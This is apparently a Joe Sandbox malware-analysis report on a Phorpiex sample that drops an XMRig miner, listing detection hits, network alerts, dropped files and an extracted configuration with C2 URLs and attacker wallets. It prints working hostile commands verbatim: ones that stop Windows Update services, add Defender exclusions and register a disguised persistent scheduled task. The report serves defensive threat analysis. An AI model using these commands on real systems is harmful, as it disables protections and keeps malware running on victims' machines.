Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, CommandLine: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\sysppvrdnvs.exe, ParentImage: C:\Windows\sysppvrdnvs.exe, ParentProcessId: 1588, ParentProcessName: sysppvrdnvs.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop DoSvc & sc stop BITS /wait, ProcessId: 6212, ProcessName: cmd.exe

System Summary

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }, CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }, CommandLine|base64offset|contains: [, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#evrkcgqew#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Microsoft Windows Security' /tr '''C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Microsoft Windows Security' -RunLevel 'Highest' -Force; }, ProcessId: 3184, ProcessName: powershell.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Windows\sysppvrdnvs.exe, ParentImage: C:\Windows\sysppvrdnvs.exe, ParentProcessId: 1588, ParentProcessName: sysppvrdnvs.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ProcessId: 3552, ProcessName: cmd.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: SCR File Write Event

Source: File created

Author: Christopher Peacock @securepeacock, SCYTHE @scythe_io: Data: EventID: 11, Image: C:\Users\user\Desktop\Us051y7j25.exe, ProcessId: 5348, TargetFilename: C:\Users\user\AppData\Local\Temp\21324.scr

Sigma detected: Suspicious Screensaver Binary File Creation

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Users\user\Desktop\Us051y7j25.exe, ProcessId: 5348, TargetFilename: C:\Users\user\AppData\Local\Temp\21324.scr

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Windows\sysppvrdnvs.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\21324.scr, ProcessId: 4416, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3552, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Add-MpPreference -ExclusionPath $env:windir; Add-MpPreference -ExclusionPath $env:TEMP; Add-MpPreference -ExclusionPath $env:USERPROFILE", ProcessId: 2052, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:26.831139+0200	2022050	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	49763	TCP

ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:27.136621+0200	2022051	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	49763	TCP

ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:38.418676+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	85.173.115.180	40500	UDP
2024-10-26T07:26:43.408274+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	90.156.163.121	40500	UDP
2024-10-26T07:26:48.423353+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	62.209.135.143	40500	UDP
2024-10-26T07:26:53.488632+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	213.230.97.241	40500	UDP
2024-10-26T07:26:58.485911+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	93.188.83.238	40500	UDP
2024-10-26T07:27:08.517327+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	80.191.218.209	40500	UDP
2024-10-26T07:27:13.518977+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	85.233.153.109	40500	UDP
2024-10-26T07:27:18.542858+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	188.212.80.105	40500	UDP
2024-10-26T07:27:23.623498+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	90.156.160.66	40500	UDP
2024-10-26T07:27:33.626705+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	2.181.31.167	40500	UDP
2024-10-26T07:27:38.791276+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	77.240.41.3	40500	UDP
2024-10-26T07:27:43.783471+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	151.243.242.97	40500	UDP
2024-10-26T07:27:48.799927+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	178.91.91.225	40500	UDP
2024-10-26T07:27:53.827913+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	91.246.92.22	40500	UDP
2024-10-26T07:27:58.869481+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	78.39.234.9	40500	UDP
2024-10-26T07:28:08.907762+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	90.156.163.55	40500	UDP
2024-10-26T07:28:13.935566+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	94.158.52.97	40500	UDP
2024-10-26T07:28:18.924523+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	46.100.164.239	40500	UDP
2024-10-26T07:28:23.940145+0200	2044077	1	A Network Trojan was detected	192.168.2.6	58415	213.206.45.227	40500	UDP

ETPRO COINMINER XMR CoinMiner Usage

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:13.686782+0200	2826930	2	Crypto Currency Mining Activity Detected	192.168.2.6	50008	185.215.113.66	5152	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:36.856045+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49814	185.215.113.66	80	TCP
2024-10-26T07:26:38.805924+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49826	185.215.113.66	80	TCP
2024-10-26T07:26:44.437846+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49856	185.215.113.66	80	TCP
2024-10-26T07:26:46.430096+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:53.054765+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:54.995499+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:01.531075+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:03.546764+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:09.917105+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:09.950937+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49991	185.215.113.84	80	TCP
2024-10-26T07:27:11.870147+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49994	185.215.113.66	80	TCP
2024-10-26T07:27:18.566079+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49997	91.202.233.141	80	TCP
2024-10-26T07:27:20.278754+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:22.645557+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:25.002737+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:27.434450+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:29.749284+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:33.848197+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50000	185.215.113.66	80	TCP
2024-10-26T07:27:36.812072+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50001	185.215.113.66	80	TCP
2024-10-26T07:27:40.164023+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50004	185.215.113.66	80	TCP
2024-10-26T07:27:43.131743+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50006	185.215.113.66	80	TCP
2024-10-26T07:27:46.111661+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50007	185.215.113.66	80	TCP
2024-10-26T07:27:50.560944+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50010	91.202.233.141	80	TCP
2024-10-26T07:27:53.559330+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50012	91.202.233.141	80	TCP
2024-10-26T07:27:56.509547+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50013	91.202.233.141	80	TCP
2024-10-26T07:27:59.587464+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50015	91.202.233.141	80	TCP
2024-10-26T07:28:02.679855+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50016	91.202.233.141	80	TCP
2024-10-26T07:28:06.897629+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50018	185.215.113.66	80	TCP
2024-10-26T07:28:09.853866+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50020	185.215.113.66	80	TCP
2024-10-26T07:28:12.788861+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50021	185.215.113.66	80	TCP
2024-10-26T07:28:15.799301+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50023	185.215.113.66	80	TCP
2024-10-26T07:28:19.210121+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50025	185.215.113.66	80	TCP
2024-10-26T07:28:23.377369+0200	2803274	2	Potentially Bad Traffic	192.168.2.6	50027	91.202.233.141	80	TCP

ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:13.686782+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	49814	TCP
2024-10-26T07:26:13.686782+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	50018	TCP
2024-10-26T07:26:13.686782+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	50000	TCP
2024-10-26T07:26:39.130562+0200	2837677	1	A Network Trojan was detected	185.215.113.66	80	192.168.2.6	49826	TCP

ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-26T07:26:36.856045+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49814	185.215.113.66	80	TCP
2024-10-26T07:26:38.805924+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49826	185.215.113.66	80	TCP
2024-10-26T07:26:44.437846+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49856	185.215.113.66	80	TCP
2024-10-26T07:26:46.430096+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:53.054765+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49867	185.215.113.66	80	TCP
2024-10-26T07:26:54.995499+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:01.531075+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49914	185.215.113.66	80	TCP
2024-10-26T07:27:03.546764+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:09.917105+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49957	185.215.113.66	80	TCP
2024-10-26T07:27:11.870147+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49994	185.215.113.66	80	TCP
2024-10-26T07:27:20.278754+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:22.645557+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:25.002737+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:27.434450+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:29.749284+0200	2848295	1	A Network Trojan was detected	192.168.2.6	49998	91.202.233.141	80	TCP
2024-10-26T07:27:33.848197+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50000	185.215.113.66	80	TCP
2024-10-26T07:27:36.812072+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50001	185.215.113.66	80	TCP
2024-10-26T07:27:40.164023+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50004	185.215.113.66	80	TCP
2024-10-26T07:27:43.131743+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50006	185.215.113.66	80	TCP
2024-10-26T07:27:46.111661+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50007	185.215.113.66	80	TCP
2024-10-26T07:27:50.560944+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50010	91.202.233.141	80	TCP
2024-10-26T07:27:53.559330+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50012	91.202.233.141	80	TCP
2024-10-26T07:27:56.509547+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50013	91.202.233.141	80	TCP
2024-10-26T07:27:59.587464+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50015	91.202.233.141	80	TCP
2024-10-26T07:28:02.679855+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50016	91.202.233.141	80	TCP
2024-10-26T07:28:06.897629+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50018	185.215.113.66	80	TCP
2024-10-26T07:28:09.853866+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50020	185.215.113.66	80	TCP
2024-10-26T07:28:12.788861+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50021	185.215.113.66	80	TCP
2024-10-26T07:28:15.799301+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50023	185.215.113.66	80	TCP
2024-10-26T07:28:19.210121+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50025	185.215.113.66	80	TCP
2024-10-26T07:28:23.377369+0200	2848295	1	A Network Trojan was detected	192.168.2.6	50027	91.202.233.141	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1329646
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Avira: detection malicious, Label: HEUR/AGEN.1329646
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Avira: detection malicious, Label: HEUR/AGEN.1329646
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	Avira: detection malicious, Label: TR/Dldr.Agent.daypt
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1315882
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Avira: detection malicious, Label: WORM/Phorpiex.olrti
Source: C:\Windows\sysppvrdnvs.exe	Avira: detection malicious, Label: HEUR/AGEN.1315882

Found malware configuration

Source: 4.0.sysppvrdnvs.exe.400000.0.unpack

Malware Configuration Extractor: Phorpiex {"C2 url": ["http://185.215.113.66/", "http://91.202.233.141/"], "Wallet": ["15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC", "1BzmrjmKPKSR2hH5BeJySfiVA676E8DYaK", "lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w", "ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp", "zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3", "zncBgwqwqquPLHrM4ozrtr3LPyFuNVemy4v", "cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf", "erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx", "kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn", "inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9", "osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3", "one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x", "3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc", "3ESHude8zUHksQg1h6hHmzY79BS36L91Yn", "DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA", "DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe", "t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh", "terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5", "thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur", "tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2", "stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj", "stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0", "sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz", "sys1q0zg3clqajs04p2yhkgf96nf4hmup9mdr8l38u6", "bnb1msyt0djx4ecspfxg5en0ye465kg3kmv9utzml2", "bc1ppypcmu3684n648gyj62gjp2rw0xy7w3vwfamatlg29ajp4z52desafa0sr", "bc1qc9edl4hzl9jyt8twdad3zjeh2df2znq96tdezd", "btg1qwg85kf0r3885a82wtld053fy490lm2q2gemgpy", "ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17", "bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r", "cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr", "addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg", "nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb", "GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3", "Gcrx8cK7ffKLaPJwiYHQrgi6pFTLbJsBPV", "EQxXrZv7VQpoAA15kJ1XJyXVxT3yQSoNyM", "B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA", "BKyTYg4eZC9NCzcL8M3hcUmDhCnBJrSScH", "UQAbBKbfkiK3Gjo86zgD3yYO5Njf7zxPTEO4JLqN13ruoGDb"]}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.84/nxmr.exep

Virustotal: Detection: 14%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	ReversingLabs: Detection: 76%
Source: C:\Users\user\AppData\Local\Temp\146916724.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\21324.scr	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\2314627202.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	ReversingLabs: Detection: 70%
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	ReversingLabs: Detection: 76%
Source: C:\Windows\sysppvrdnvs.exe	ReversingLabs: Detection: 81%

Multi AV Scanner detection for submitted file

Source: Us051y7j25.exe	Virustotal: Detection: 41%			Perma Link
Source: Us051y7j25.exe	ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\jacrzswcvuml.tmp	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1239611256.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\21324.scr	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1091722296.exe	Joe Sandbox ML: detected
Source: C:\Windows\sysppvrdnvs.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1881231804.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\21324.scr	Code function: 3_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	3_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe	Code function: 4_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	4_2_0040C830
Source: C:\Windows\sysppvrdnvs.exe	Code function: 18_2_0040C830 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,	18_2_0040C830

Phishing

Yara detected Phorpiex

Source: Yara match	File source: 4.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.0.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.21324.scr.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.sysppvrdnvs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 21324.scr PID: 4416, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 1588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysppvrdnvs.exe PID: 4492, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\21324.scr, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe, type: DROPPED
Source: Yara match	File source: C:\Windows\sysppvrdnvs.exe, type: DROPPED

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 34.2.winupsecvmgr.exe.7ff7ad1eca40.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.winupsecvmgr.exe.7ff7ad1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.winupsecvmgr.exe.7ff7ad1f0320.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000028.00000002.3515022371.000002640F711000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winupsecvmgr.exe PID: 4044, type: MEMORYSTR
